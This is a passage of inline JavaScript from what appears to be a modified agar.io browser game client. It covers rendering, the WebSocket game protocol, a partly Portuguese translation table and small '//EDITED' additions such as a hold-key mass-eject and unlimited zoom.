bsolute;bottom:0;right:0;background-color:#FFF;border-radius:5px 0px 0px 0px;padding:5px 10px;}</style> <script src="js/jquery.js"></script> <script src="js/bootstrap.min.js"></script> <script> i18n_lang = 'en'; i18n_dict = { 'en': { 'connecting': 'Connecting', 'connect_help': 'If you cannot connect to the servers, check if you have some anti virus or firewall blocking the connection.', 'play': 'Jogar', 'spectate': 'Observar O Jogo', 'login_and_play': 'Logar No Facebook', 'play_as_guest': 'Play as guest', 'share': 'Share', 'advertisement': 'Advertisement', 'privacy_policy': 'Privacy Policy', 'terms_of_service': 'Terms of Service', 'changelog': 'Changelog', 'instructions_mouse': 'Move your mouse to control your cell', 'instructions_space': 'Pressiona <b>Space</b> Para Duplica', 'instructions_w': 'Pressiona <b>W</b> Para Da Massa', 'gamemode_ffa': 'FFA', 'gamemode_teams': 'Time', 'gamemode_experimental': 'Experimental', 'region_select': ' -- Select a Region -- ', 'region_us_east': 'US East', 'region_us_west': 'US West', 'region_north_america': 'North America', 'region_south_america': 'South America', 'region_europe': 'Europe', 'region_turkey': 'Turkey', 'region_poland': 'Poland', 'region_east_asia': 'East Asia', 'region_russia': 'Russia', 'region_china': 'China', 'region_oceania': 'Oceania', 'region_australia': 'Australia', 'region_players': 'players', 'option_no_skins': 'Remover skins', 'option_no_names': 'Sem Nome', 'option_dark_theme': 'Tema Escuro', 'option_no_colors': 'Sem Cores', 'option_show_mass': 'Most. Massa', 'leaderboard': 'Leaderboard', 'unnamed_cell': 'Célula sem nome !"', 'last_match_results': 'Last match results', 'score': 'Pontos', 'leaderboard_time': '', 'mass_eaten': 'Mass Eaten', 'top_position': 'Top Position', 'position_1': 'Primeiro', 'position_2': 'Segundo', 'position_3': 'Terceiro', 'position_4': 'Quarto', 'position_5': 'Quinto', 'position_6': 'Sexto', 'position_7': 'Setimo', 'position_8': 'Oitavo', 'position_9': 'Nono', 'position_10': 'Decimo', 'player_cells_eaten': 'Player Cells Eaten', 'survival_time': 'Survival Time', 'games_played': 'Games played', 'highest_mass': 'Massa Total', 'total_cells_eaten': 'Total cells eaten', 'total_mass_eaten': 'Total mass eaten', 'longest_survival': 'Longest survival', 'logout': 'Sair', 'stats': 'Stats', 'shop': 'Shop', 'party': 'Jogar Com Os Amigos', 'party_description': 'Play with your friends in the same map', 'create_party': 'Create', 'creating_party': 'Criando Ah partida...', 'join_party': 'Criar Partoda', 'back_button': 'Sair', 'joining_party': 'Connectando Na Sala ...', 'joined_party_instructions': 'You are now playing with this Sala:', 'party_join_error': 'There was a problem joining that party, please make sure the code is correct, or try creating another party', 'login_tooltip': 'Login with Facebook and get:<br\xA0/><br /><br />Jogar the game with more mass!<br />Level up to get even more starting mass!', 'create_party_instructions': 'Give this link to your friends:', 'join_party_instructions': 'Your friend should have given you a code, type it here:', 'continue': 'Continuar', 'option_skip_stats': 'Pular Estatísticas', 'stats_food_eaten': 'Alim. ingeridos', 'stats_highest_mass': 'highest mass', 'stats_time_alive': 'Tempo Vivo', 'stats_leaderboard_time': 'Tempo no Rank', 'stats_cells_eaten': 'Células Ingeridas', 'stats_top_position': 'Posição Rankeada?', '': '' }, '?': {} }; i18n_lang = (window.navigator.userLanguage || window.navigator.language || 'en').split('-')[0]; if (!i18n_dict.hasOwnProperty(i18n_lang)) { i18n_lang = 'en'; } i18n = i18n_dict[i18n_lang]; (function(window, $) { function Init() { g_drawLines = true; PlayerStats(); setInterval(PlayerStats, 180000); g_canvas = g_canvas_ = document.getElementById('canvas'); g_context = g_canvas.getContext('2d'); g_canvas.onmousedown = function(event) { if (g_touchCapable) { var deltaX = event.clientX - (5 + g_protocol / 5 / 2); var deltaY = event.clientY - (5 + g_protocol / 5 / 2); if (Math.sqrt(deltaX * deltaX + deltaY * deltaY) <= g_protocol / 5 / 2) { SendPos(); SendCmd(17); return; } } g_mouseX = event.clientX; g_mouseY = event.clientY; UpdatePos(); SendPos(); }; g_canvas.onmousemove = function(event) { g_mouseX = event.clientX; g_mouseY = event.clientY; UpdatePos(); }; g_canvas.onmouseup = function() {}; if (/firefox/i.test(navigator.userAgent)) { document.addEventListener('DOMMouseScroll', WheelHandler, false); } else { document.body.onmousewheel = WheelHandler; } var spaceDown = false; var cachedSkin = false; var wkeyDown = false; var keyEPressed = false; //EDITED window.onkeydown = function(event) { if (!(32 != event.keyCode || spaceDown)) { SendPos(); SendCmd(17); spaceDown = true; } if (!(81 != event.keyCode || cachedSkin)) { SendCmd(18); cachedSkin = true; } if (!(87 != event.keyCode || wkeyDown)) { SendPos(); SendCmd(21); wkeyDown = true; } if (69 == event.keyCode) { //EDITED if (!keyEPressed) { keyEPressed = true; timerE(); } } if (27 == event.keyCode) { __unmatched_10(300); } }; window.onkeyup = function(event) { if (32 == event.keyCode) { spaceDown = false; } if (87 == event.keyCode) { wkeyDown = false; } if (81 == event.keyCode && cachedSkin) { SendCmd(19); cachedSkin = false; } if (69 == event.keyCode) { //EDITED if (keyEPressed) { keyEPressed = false; } } }; window.onblur = function() { SendCmd(19); wkeyDown = cachedSkin = spaceDown = keyEPressed = false; //EDITED }; function timerE () { //EDITED if (keyEPressed) { SendPos(); SendCmd(21); setInterval(timerE, 200); } } window.onresize = ResizeHandler; window.requestAnimationFrame(__unmatched_130); setInterval(SendPos, 40); if (g_region) { $('#region').val(g_region); } SyncRegion(); SetRegion($('#region').val()); $.each(g_skinNamesA, function(v, node) { //EDITED $("#nicks").append($("<option></option>").attr("value", v).text(node)); }); if (0 == __unmatched_112 && g_region) { Start(); } __unmatched_10(0); ResizeHandler(); if (window.location.hash && 6 <= window.location.hash.length) { RenderLoop(window.location.hash); } } function WheelHandler(event) { g_zoom *= Math.pow(0.9, event.wheelDelta / -120 || event.detail || 0); if(!isUnlimitedZoom) { if (1 > g_zoom) { g_zoom = 1; } if (g_zoom > 4 / g_scale) { g_zoom = 4 / g_scale; } } } function UpdateTree() { if (0.4 > g_scale) { g_pointTree = null; } else { for (var minX = Number.POSITIVE_INFINITY, minY = Number.POSITIVE_INFINITY, maxX = Number.NEGATIVE_INFINITY, maxY = Number.NEGATIVE_INFINITY, maxSize = 0, i = 0; i < g_cells.length; i++) { var cell = g_cells[i]; if (!(!cell.N() || cell.R || 20 >= cell.size * g_scale)) { maxSize = Math.max(cell.size, maxSize); minX = Math.min(cell.x, minX); minY = Math.min(cell.y, minY); maxX = Math.max(cell.x, maxX); maxY = Math.max(cell.y, maxY); } } g_pointTree = QTreeFactory.la({ ca: minX - (maxSize + 100), da: minY - (maxSize + 100), oa: maxX + (maxSize + 100), pa: maxY + (maxSize + 100), ma: 2, na: 4 }); for (i = 0; i < g_cells.length; i++) { if (cell = g_cells[i], cell.N() && !(20 >= cell.size * g_scale)) { for (minX = 0; minX < cell.a.length; ++minX) { minY = cell.a[minX].x; maxX = cell.a[minX].y; if (!(minY < g_viewX - g_protocol / 2 / g_scale || maxX < g_viewY - __unmatched_60 / 2 / g_scale || minY > g_viewX + g_protocol / 2 / g_scale || maxX > g_viewY + __unmatched_60 / 2 / g_scale)) { g_pointTree.m(cell.a[minX]); } } } } } } function UpdatePos() { g_moveX = (g_mouseX - g_protocol / 2) / g_scale + g_viewX; g_moveY = (g_mouseY - __unmatched_60 / 2) / g_scale + g_viewY; } function PlayerStats() { if (null == g_regionLabels) { g_regionLabels = {}; $('#region').children().each(function() { var $this = $(this); var val = $this.val(); if (val) { g_regionLabels[val] = $this.text(); } }); } $.get('https://m.agar.io/info', function(data) { var regionNumPlayers = {}; var region; for (region in data.regions) { var region_ = region.split(':')[0]; regionNumPlayers[region_] = regionNumPlayers[region_] || 0; regionNumPlayers[region_] += data.regions[region].numPlayers; } for (region in regionNumPlayers) { $('#region option[value="' + region + '"]').text(g_regionLabels[region] + ' (' + regionNumPlayers[region] + ' players)'); } }, 'json'); } function HideOverlay() { $('#adsBottom').hide(); $('#overlays').hide(); $('#stats').hide(); $('#mainPanel').hide(); __unmatched_141 = g_playerCellDestroyed = false; SyncRegion(); if (window.googletag && window.googletag.pubads && window.googletag.pubads().clear) { window.googletag.pubads().clear(window.aa.concat(window.ab)); } } function SetRegion(val) { if (val && val != g_region) { if ($('#region').val() != val) { $('#region').val(val); } g_region = window.localStorage.location = val; $('.region-message').hide(); $('.region-message.' + val).show(); $('.btn-needs-server').prop('disabled', false); if (g_drawLines) { Start(); } } } function __unmatched_10(char) { if (!(g_playerCellDestroyed || __unmatched_141)) { $('#adsBottom').show(); g_nick = null; __unmatched_13(window.aa); if (1000 > char) { qkeyDown = 1; } g_playerCellDestroyed = true; $('#mainPanel').show(); if (0 < char) { $('#overlays').fadeIn(char); } else { $('#overlays').show(); } } } function Render(__unmatched_174) { $('#helloContainer').attr('data-gamemode', __unmatched_174); __unmatched_95 = __unmatched_174; $('#gamemode').val(__unmatched_174); } function SyncRegion() { if ($('#region').val()) { window.localStorage.location = $('#region').val(); } else if (window.localStorage.location) { $('#region').val(window.localStorage.location); } if ($('#region').val()) { $('#locationKnown').append($('#region')); } else { $('#locationUnknown').append($('#region')); } } function __unmatched_13(__unmatched_175) { if (window.googletag) { window.googletag.cmd.push(function() { if (g_canRefreshAds) { g_canRefreshAds = false; setTimeout(function() { g_canRefreshAds = true; }, 60000 * g_refreshAdsCooldown); if (window.googletag && window.googletag.pubads && window.googletag.pubads().refresh) { window.googletag.pubads().refresh(__unmatched_175); } } }); } } function __unmatched_14(i_) { return window.i18n[i_] || window.i18n_dict.en[i_] || i_; } function FindGame() { var __unmatched_177 = ++__unmatched_112; console.log('Find ' + g_region + __unmatched_95); $.ajax('https://m.agar.io/', { error: function() { setTimeout(FindGame, 1000); }, success: function(__unmatched_178) { __unmatched_178 = __unmatched_178.split('\n'); Connect('ws://' + __unmatched_178[0], __unmatched_178[1]); }, dataType: 'text', method: 'POST', cache: false, crossDomain: true, data: (g_region + __unmatched_95 || '?') + '\n154669603' }); } function Start() { if (g_drawLines && g_region) { $('#connecting').show(); FindGame(); } } function Connect(address, ticket) { if (points) { points.onopen = null; points.onmessage = null; points.onclose = null; try { points.close(); } catch (exception) {} points = null; } if (__unmatched_113.ip) { address = 'ws://' + __unmatched_113.ip; } if (null != __unmatched_121) { var __unmatched_181 = __unmatched_121; __unmatched_121 = function() { __unmatched_181(ticket); }; } if (g_secure) { var parts = address.split(':'); address = parts[0] + 's://ip-' + parts[1].replace(/\./g, '-').replace(/\//g, '') + '.tech.agar.io:' + (+parts[2] + 2000); } g_playerCellIds = []; g_playerCells = []; g_cellsById = {}; g_cells = []; g_destroyedCells = []; g_scoreEntries = []; g_leaderboardCanvas = g_scorePartitions = null; g_maxScore = 0; g_connectSuccessful = false; console.log('Connecting to ' + address); points = new WebSocket(address); points.binaryType = 'arraybuffer'; points.onopen = function() { var data; console.log('socket open'); data = GetBuffer(5); data.setUint8(0, 254); data.setUint32(1, 5, true); SendBuffer(data); data = GetBuffer(5); data.setUint8(0, 255); data.setUint32(1, 154669603, true); SendBuffer(data); data = GetBuffer(1 + ticket.length); data.setUint8(0, 80); for (var i = 0; i < ticket.length; ++i) { data.setUint8(i + 1, ticket.charCodeAt(i)); } SendBuffer(data); RefreshAds(); }; points.onmessage = MessageHandler; points.onclose = CloseHandler; points.onerror = function() { console.log('socket error'); }; } function GetBuffer(size) { return new DataView(new ArrayBuffer(size)); } function SendBuffer(data) { points.send(data.buffer); } function CloseHandler() { if (g_connectSuccessful) { g_retryTimeout = 500; } console.log('socket close'); setTimeout(Start, g_retryTimeout); g_retryTimeout *= 2; } function MessageHandler(data) { Receive(new DataView(data.data)); } function Receive(data) { function __unmatched_190() { for (var string = '';;) { var char = data.getUint16(pos, true); pos += 2; if (0 == char) { break; } string += String.fromCharCode(char); } return string; } var pos = 0; if (240 == data.getUint8(pos)) { pos += 5; } switch (data.getUint8(pos++)) { case 16: ParseCellUpdates(data, pos); break; case 17: g_viewX_ = data.getFloat32(pos, true); pos += 4; g_viewY_ = data.getFloat32(pos, true); pos += 4; g_scale_ = data.getFloat32(pos, true); pos += 4; break; case 20: g_playerCells = []; g_playerCellIds = []; break; case 21: g_linesY_ = data.getInt16(pos, true); pos += 2; g_linesX_ = data.getInt16(pos, true); pos += 2; if (!g_ready) { g_ready = true; g_linesX = g_linesY_; g_linesY = g_linesX_; } break; case 32: g_playerCellIds.push(data.getUint32(pos, true)); pos += 4; break; case 49: if (null != g_scorePartitions) { break; } var num = data.getUint32(pos, true); var pos = pos + 4; g_scoreEntries = []; for (var i = 0; i < num; ++i) { var id = data.getUint32(pos, true); var pos = pos + 4; g_scoreEntries.push({ id: id, name: __unmatched_190() }); } UpdateLeaderboard(); break; case 50: g_scorePartitions = []; num = data.getUint32(pos, true); pos += 4; for (i = 0; i < num; ++i) { g_scorePartitions.push(data.getFloat32(pos, true)); pos += 4; } UpdateLeaderboard(); break; case 64: g_minX = data.getFloat64(pos, true); pos += 8; g_minY = data.getFloat64(pos, true); pos += 8; g_maxX = data.getFloat64(pos, true); pos += 8; g_maxY = data.getFloat64(pos, true); pos += 8; g_viewX_ = (g_maxX + g_minX) / 2; g_viewY_ = (g_maxY + g_minY) / 2; g_scale_ = 1; if (0 == g_playerCells.length) { g_viewX = g_viewX_; g_viewY = g_viewY_; g_scale = g_scale_; } break; case 81: var x = data.getUint32(pos, true); var pos = pos + 4; var __unmatched_196 = data.getUint32(pos, true); var pos = pos + 4; var __unmatched_197 = data.getUint32(pos, true); var pos = pos + 4; setTimeout(function() { __unmatched_43({ e: x, f: __unmatched_196, d: __unmatched_197 }); }, 1200); } } function ParseCellUpdates(data, pos) { function __unmatched_202() { for (var string = '';;) { var id = data.getUint16(pos, true); pos += 2; if (0 == id) { break; } string += String.fromCharCode(id); } return string; } function __unmatched_203() { for (var __unmatched_218 = '';;) { var r = data.getUint8(pos++); if (0 == r) { break; } __unmatched_218 += String.fromCharCode(r); } return __unmatched_218; } __unmatched_107 = g_time = Date.now(); if (!g_connectSuccessful) { g_connectSuccessful = true; __unmatched_24(); } __unmatched_88 = false; var num = data.getUint16(pos, true); pos += 2; for (var i = 0; i < num; ++i) { var cellA = g_cellsById[data.getUint32(pos, true)]; var cellB = g_cellsById[data.getUint32(pos + 4, true)]; pos += 8; if (cellA && cellB) { cellB.X(); cellB.s = cellB.x; cellB.t = cellB.y; cellB.r = cellB.size; cellB.J = cellA.x; cellB.K = cellA.y; cellB.q = cellB.size; cellB.Q = g_time; __unmatched_49(cellA, cellB); } } for (i = 0;;) { num = data.getUint32(pos, true); pos += 4; if (0 == num) { break; } ++i; var size; var cellA = data.getInt32(pos, true); pos += 4; cellB = data.getInt32(pos, true); pos += 4; size = data.getInt16(pos, true); pos += 2; var flags = data.getUint8(pos++); var y = data.getUint8(pos++); var b = data.getUint8(pos++); var y = __unmatched_40(flags << 16 | y << 8 | b); var b = data.getUint8(pos++); var isVirus = !!(b & 1); var isAgitated = !!(b & 16); var __unmatched_214 = null; if (b & 2) { pos += 4 + data.getUint32(pos, true); } if (b & 4) { __unmatched_214 = __unmatched_203(); } var name = __unmatched_202(); var flags = null; if (g_cellsById.hasOwnProperty(num)) { flags = g_cellsById[num]; flags.P(); flags.s = flags.x; flags.t = flags.y; flags.r = flags.size; flags.color = y; } else { flags = new Cell(num, cellA, cellB, size, y, name); g_cells.push(flags); g_cellsById[num] = flags; flags.ta = cellA; flags.ua = cellB; } flags.h = isVirus; flags.n = isAgitated; flags.J = cellA; flags.K = cellB; flags.q = size; flags.Q = g_time; flags.ba = b; flags.fa = __unmatched_214; if (name) { flags.B(name); } if (-1 != g_playerCellIds.indexOf(num) && -1 == g_playerCells.indexOf(flags)) { g_playerCells.push(flags); if (1 == g_playerCells.length) { g_viewX = flags.x; g_viewY = flags.y; __unmatched_136(); document.getElementById('overlays').style.display = 'none'; cached = []; __unmatched_139 = 0; __unmatched_140 = g_playerCells[0].color; __unmatched_142 = true; __unmatched_143 = Date.now(); g_mode = __unmatched_146 = __unmatched_145 = 0; } } } cellA = data.getUint32(pos, true); pos += 4; for (i = 0; i < cellA; i++) { num = data.getUint32(pos, true); pos += 4; flags = g_cellsById[num]; if (null != flags) { flags.X(); } } if (__unmatched_88 && 0 == g_playerCells.length) { __unmatched_144 = Date.now(); __unmatched_142 = false; if (!(g_playerCellDestroyed || __unmatched_141)) { if (__unmatched_148) { __unmatched_13(window.ab); ShowOverlay(); __unmatched_141 = true; $('#overlays').fadeIn(3000); $('#stats').show(); } else { __unmatched_10(3000); } } } } function __unmatched_24() { $('#connecting').hide(); SendNick(); if (__unmatched_121) { __unmatched_121(); __unmatched_121 = null; } if (null != __unmatched_123) { clearTimeout(__unmatched_123); } __unmatched_123 = setTimeout(function() { if (window.ga) { ++__unmatched_124; window.ga('set', 'dimension2', __unmatched_124); } }, 10000); } function SendPos() { if (IsConnected()) { var deltaY = g_mouseX - g_protocol / 2; var delta = g_mouseY - __unmatched_60 / 2; if (!(64 > deltaY * deltaY + delta * delta || 0.01 > Math.abs(g_lastMoveY - g_moveX) && 0.01 > Math.abs(g_lastMoveX - g_moveY))) { g_lastMoveY = g_moveX; g_lastMoveX = g_moveY; deltaY = GetBuffer(21); deltaY.setUint8(0, 16); deltaY.setFloat64(1, g_moveX, true); deltaY.setFloat64(9, g_moveY, true); deltaY.setUint32(17, 0, true); SendBuffer(deltaY); } } } function SendNick() { if (IsConnected() && g_connectSuccessful && null != g_nick) { var data = GetBuffer(1 + 2 * g_nick.length); data.setUint8(0, 0); for (var i = 0; i < g_nick.length; ++i) { data.setUint16(1 + 2 * i, g_nick.charCodeAt(i), true); } SendBuffer(data); g_nick = null; } } function IsConnected() { return null != points && points.readyState == points.OPEN; } function SendCmd(cmd) { if (IsConnected()) { var data = GetBuffer(1); data.setUint8(0, cmd); SendBuffer(data); } } function RefreshAds() { if (IsConnected() && null != __unmatched_108) { var __unmatched_226 = GetBuffer(1 + __unmatched_108.length); __unmatched_226.setUint8(0, 81); for (var y = 0; y < __unmatched_108.length; ++y) { __unmatched_226.setUint8(y + 1, __unmatched_108.charCodeAt(y)); } SendBuffer(__unmatched_226); } } function ResizeHandler() { g_protocol = window.innerWidth; __unmatched_60 = window.innerHeight; g_canvas_.width = g_canvas.width = g_protocol; g_canvas_.height = g_canvas.height = __unmatched_60; var $dialog = $('#helloContainer'); $dialog.css('transform', 'none'); var dialogHeight = $dialog.height(); var height = window.innerHeight; if (dialogHeight > height / 1.1) { $dialog.css('transform', 'translate(-50%, -50%) scale(' + height / dialogHeight / 1.1 + ')'); } else { $dialog.css('transform', 'translate(-50%, -50%)'); } GetScore(); } function ScaleModifier() { var scale; scale = 1 * Math.max(__unmatched_60 / 1080, g_protocol / 1920); return scale *= g_zoom; } function __unmatched_32() { if (0 != g_playerCells.length) { for (var scale = 0, i = 0; i < g_playerCells.length; i++) { scale += g_playerCells[i].size; } scale = Math.pow(Math.min(64 / scale, 1), 0.4) * ScaleModifier(); g_scale = (9 * g_scale + scale) / 10; } } function GetScore() { var x; var time = Date.now(); ++__unmatched_75; g_time = time; if (0 < g_playerCells.length) { __unmatched_32(); for (var y = x = 0, i = 0; i < g_playerCells.length; i++) { g_playerCells[i].P(); x += g_playerCells[i].x / g_playerCells.length; y += g_playerCells[i].y / g_playerCells.length; } g_viewX_ = x; g_viewY_ = y; g_scale_ = g_scale; g_viewX = (g_viewX + x) / 2; g_viewY = (g_viewY + y) / 2; } else { g_viewX = (29 * g_viewX + g_viewX_) / 30; g_viewY = (29 * g_viewY + g_viewY_) / 30; g_scale = (9 * g_scale + g_scale_ * ScaleModifier()) / 10; } UpdateTree(); UpdatePos(); if (!g_showTrails) { g_context.clearRect(0, 0, g_protocol, __unmatched_60); } if (g_showTrails) { g_context.fillStyle = g_showMass ? '#111111' : '#F2FBFF'; g_context.globalAlpha = 0.05; g_context.fillRect(0, 0, g_protocol, __unmatched_60); g_context.globalAlpha = 1; } else { DrawGrid(); } g_cells.sort(function(A, B) { return A.size == B.size ? A.id - B.id : A.size - B.size; }); g_context.save(); g_context.translate(g_protocol / 2, __unmatched_60 / 2); g_context.scale(g_scale, g_scale); g_context.translate(-g_viewX, -g_viewY); drawBorders(); drawLogo(); myMass = Math.min.apply(null, g_playerCells.map(function(r) { return r.N(); })) for (i = 0; i < g_destroyedCells.length; i++) { g_destroyedCells[i].w(g_context); } for (i = 0; i < g_cells.length; i++) { g_cells[i].w(g_context); } if (g_ready) { g_linesX = (3 * g_linesX + g_linesY_) / 4; g_linesY = (3 * g_linesY + g_linesX_) / 4; g_context.save(); g_context.strokeStyle = '#FFAAAA'; g_context.lineWidth = 10; g_context.lineCap = 'round'; g_context.lineJoin = 'round'; g_context.globalAlpha = 0.5; g_context.beginPath(); for (i = 0; i < g_playerCells.length; i++) { g_context.moveTo(g_playerCells[i].x, g_playerCells[i].y); g_context.lineTo(g_linesX, g_linesY); } g_context.stroke(); g_context.restore(); } g_context.restore(); if (g_leaderboardCanvas && g_leaderboardCanvas.width) { g_context.drawImage(g_leaderboardCanvas, g_protocol - g_leaderboardCanvas.width - 10, 10); } g_maxScore = Math.max(g_maxScore, __unmatched_36()); if (0 != g_maxScore) { if (null == g_cachedScore) { g_cachedScore = new CachedCanvas(24, '#FFFFFF'); } g_cachedScore.C(__unmatched_14('score') + ': ' + ~~(g_maxScore / 100)); y = g_cachedScore.L(); x = y.width; g_context.globalAlpha = 0.2; g_context.fillStyle = '#000000'; g_context.fillRect(10, __unmatched_60 - 10 - 24 - 10, x + 10, 34); g_context.globalAlpha = 1; g_context.drawImage(y, 15, __unmatched_60 - 10 - 24 - 5); } DrawSplitImage(); time = Date.now() - time; if (time > 1000 / 60) { g_pointNumScale -= 0.01; } else if (time < 1000 / 65) { g_pointNumScale += 0.01; } if (0.4 > g_pointNumScale) { g_pointNumScale = 0.4; } if (1 < g_pointNumScale) { g_pointNumScale = 1; } time = g_time - __unmatched_77; if (!IsConnected() || g_playerCellDestroyed || __unmatched_141) { qkeyDown += time / 2000; if (1 < qkeyDown) { qkeyDown = 1; } } else { qkeyDown -= time / 300; if (0 > qkeyDown) { qkeyDown = 0; } } if (0 < qkeyDown) { g_context.fillStyle = '#000000'; g_context.globalAlpha = 0.5 * qkeyDown; g_context.fillRect(0, 0, g_protocol, __unmatched_60); g_context.globalAlpha = 1; } __unmatched_77 = g_time; } function DrawGrid() { g_context.fillStyle = g_showMass ? '#111111' : '#F2FBFF'; g_context.fillRect(0, 0, g_protocol, __unmatched_60); g_context.save(); g_context.strokeStyle = g_showMass ? '#AAAAAA' : '#000000'; g_context.globalAlpha = 0.2 * g_scale; for (var width = g_protocol / g_scale, height = __unmatched_60 / g_scale, g_width = (-g_viewX + width / 2) % 50; g_width < width; g_width += 50) { g_context.beginPath(); g_context.moveTo(g_width * g_scale - 0.5, 0); g_context.lineTo(g_width * g_scale - 0.5, height * g_scale); g_context.stroke(); } for (g_width = (-g_viewY + height / 2) % 50; g_width < height; g_width += 50) { g_context.beginPath(); g_context.moveTo(0, g_width * g_scale - 0.5); g_context.lineTo(width * g_scale, g_width * g_scale - 0.5); g_context.stroke(); } g_context.restore(); } function DrawSplitImage() { if (g_touchCapable && g_splitImage.width) { var size = g_protocol / 5; g_context.drawImage(g_splitImage, 5, 5, size, size); } } function __unmatched_36() { for (var score = 0, i = 0; i < g_playerCells.length; i++) { score += g_playerCells[i].q * g_playerCells[i].q; } return score; } function UpdateLeaderboard() { g_leaderboardCanvas = null; if (null != g_scorePartitions || 0 != g_scoreEntries.length) { if (null != g_scorePartitions || g_showNames) { g_leaderboardCanvas = document.createElement('canvas'); var context = g_leaderboardCanvas.getContext('2d'); var height = 60; var height = null == g_scorePartitions ? height + 24 * g_scoreEntries.length : height + 180; var scale = Math.min(200, 0.3 * g_protocol) / 200; g_leaderboardCanvas.width = 200 * scale; g_leaderboardCanvas.height = height * scale; context.scale(scale, scale); context.globalAlpha = 0.4; context.fillStyle = '#000000'; context.fillRect(0, 0, 200, height); context.globalAlpha = 1; context.fillStyle = '#FFFFFF'; scale = null; scale = __unmatched_14('leaderboard'); context.font = '30px Ubuntu'; context.fillText(scale, 100 - context.measureText(scale).width / 2, 40); if (null == g_scorePartitions) { for (context.font = '20px Ubuntu', height = 0; height < g_scoreEntries.length; ++height) { scale = g_scoreEntries[height].name || __unmatched_14('unnamed_cell'); if (!g_showNames) { scale = __unmatched_14('unnamed_cell'); } if (-1 != g_playerCellIds.indexOf(g_scoreEntries[height].id)) { if (g_playerCells[0].name) { scale = g_playerCells[0].name; } context.fillStyle = '#FFAAAA'; } else { context.fillStyle = '#FFFFFF'; } scale = height + 1 + '. ' + scale; context.fillText(scale, 100 - context.measureText(scale).width / 2, 70 + 24 * height); } } else { for (height = scale = 0; height < g_scorePartitions.length; ++height) { var end = scale + g_scorePartitions[height] * Math.PI * 2; context.fillStyle = g_teamColors[height + 1]; context.beginPath(); context.moveTo(100, 140); context.arc(100, 140, 80, scale, end, false); context.fill(); scale = end; } } } } } function __unmatched_38(__unmatched_250, __unmatched_251, __unmatched_252, __unmatched_253, __unmatched_254) { this.V = __unmatched_250; this.x = __unmatched_251; this.y = __unmatched_252; this.i = __unmatched_253; this.b = __unmatched_254; } function Cell(id, x, y, size, color, name) { this.id = id; this.s = this.x = x; this.t = this.y = y; this.r = this.size = size; this.color = color; this.a = []; this.W(); this.B(name); } function __unmatched_40(__unmatched_261) { for (__unmatched_261 = __unmatched_261.toString(16); 6 > __unmatched_261.length;) { __unmatched_261 = '0' + __unmatched_261; } return '#' + __unmatched_261; } function drawBorders() { g_context.save() g_context.beginPath(); g_context.lineWidth = 1; g_context.strokeStyle = "#F87B32"; g_context.moveTo(getMapStartX(), getMapStartY()); g_context.lineTo(getMapStartX(), getMapEndY()); g_context.stroke(); g_context.moveTo(getMapStartX(), getMapStartY()); g_context.lineTo(getMapEndX(), getMapStartY()); g_context.stroke(); g_context.moveTo(getMapEndX(), getMapStartY()); g_context.lineTo(getMapEndX(), getMapEndY()); g_context.stroke(); g_context.moveTo(getMapStartX(), getMapEndY()); g_context.lineTo(getMapEndX(), getMapEndY()); g_context.stroke(); g_context.restore(); } function drawLogo(){ var logoimage = new Image(); logoimage.src = "img/split.png"; var width = this.j / 2; var dim = width / 2; g_context.save(); g_context.beginPath(); g_context.strokeStyle = "#F87B32"; g_context.moveTo(getMapStartX()/2, getMapStartX()/2); g_context.lineTo(getMapStartX()/2, getMapStartX()/2); g_context.stroke(); g_context.restore(); } function CachedCanvas(size, color, stroke, strokeColor) { if (size) { this.u = size; } if (color) { this.S = color; } this.U = !!stroke; if (strokeColor) { this.v = strokeColor; } } function __unmatched_42(__unmatched_266) { for (var size_ = __unmatched_266.length, __unmatched_268, __unmatched_269; 0 < size_;) { __unmatched_269 = Math.floor(Math.random() * size_); size_--; __unmatched_268 = __unmatched_266[size_]; __unmatched_266[size_] = __unmatched_266[__unmatched_269]; __unmatched_266[__unmatched_269] = __unmatched_268; } } function __unmatched_43(g_socket, __unmatched_271) { var noClip = '1' == $('#helloContainer').attr('data-has-account-data'); $('#helloContainer').attr('data-has-account-data', '1'); if (null == __unmatched_271 && window.localStorage.loginCache) { var rand = JSON.parse(window.localStorage.loginCache); rand.f = g_socket.f; rand.d = g_socket.d; rand.e = g_socket.e; window.localStorage.loginCache = JSON.stringify(rand); } if (noClip) { var __unmatched_274 = +$('.agario-exp-bar .progress-bar-text').first().text().split('/')[0]; var noClip = +$('.agario-exp-bar .progress-bar-text').first().text().split('/')[1].split(' ')[0]; var rand = $('.agario-profile-panel .progress-bar-star').first().text(); if (rand != g_socket.e) { __unmatched_43({ f: noClip, d: noClip, e: rand }, function() { $('.agario-profile-panel .progress-bar-star').text(g_socket.e); $('.agario-exp-bar .progress-bar').css('width', '100%'); $('.progress-bar-star').addClass('animated tada').one('webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend', function() { $('.progress-bar-star').removeClass('animated tada'); }); setTimeout(function() { $('.agario-exp-bar .progress-bar-text').text(g_socket.d + '/' + g_socket.d + ' XP'); __unmatched_43({ f: 0, d: g_socket.d, e: g_socket.e }, function() { __unmatched_43(g_socket, __unmatched_271); }); }, 1000); }); } else { var __unmatched_275 = Date.now(); var name = function() { var deltaX; deltaX = (Date.now() - __unmatched_275) / 1000; deltaX = 0 > deltaX ? 0 : 1 < deltaX ? 1 : deltaX; deltaX = deltaX * deltaX * (3 - 2 * deltaX); $('.agario-exp-bar .progress-bar-text').text(~~(__unmatched_274 + (g_socket.f - __unmatched_274) * deltaX) + '/' + g_socket.d + ' XP'); $('.agario-exp-bar .progress-bar').css('width', (88 * (__unmatched_274 + (g_socket.f - __unmatched_274) * deltaX) / g_socket.d).toFixed(2) + '%'); if (1 > deltaX) { window.requestAnimationFrame(name); } else if (__unmatched_271) { __unmatched_271(); } }; window.requestAnimationFrame(name); } } else { $('.agario-profile-panel .progress-bar-star').text(g_socket.e); $('.agario-exp-bar .progress-bar-text').text(g_socket.f + '/' + g_socket.d + ' XP'); $('.agario-exp-bar .progress-bar').css('width', (88 * g_socket.f / g_socket.d).toFixed(2) + '%'); if (__unmatched_271) { __unmatched_271(); } } } function __unmatched_44(__unmatched_278) { if ('string' == typeof __unmatched_278) { __unmatched_278 = JSON.parse(__unmatched_278); } if (Date.now() + 1800000 > __unmatched_278.ka) { $('#helloContainer').attr('data-logged-in', '0'); } else { window.localStorage.loginCache = JSON.stringify(__unmatched_278); __unmatched_108 = __unmatched_278.ha; $('.agario-profile-name').text(__unmatched_278.name); RefreshAds(); __unmatched_43({ f: __unmatched_278.f, d: __unmatched_278.d, e: __unmatched_278.e }); $('#helloContainer').attr('data-logged-in', '1'); } } function __unmatched_45(data) { data = data.split('\n'); __unmatched_44({ name: data[0], sa: data[1], ha: data[2], ka: 1000 * +data[3], e: +data[4], f: +data[5], d: 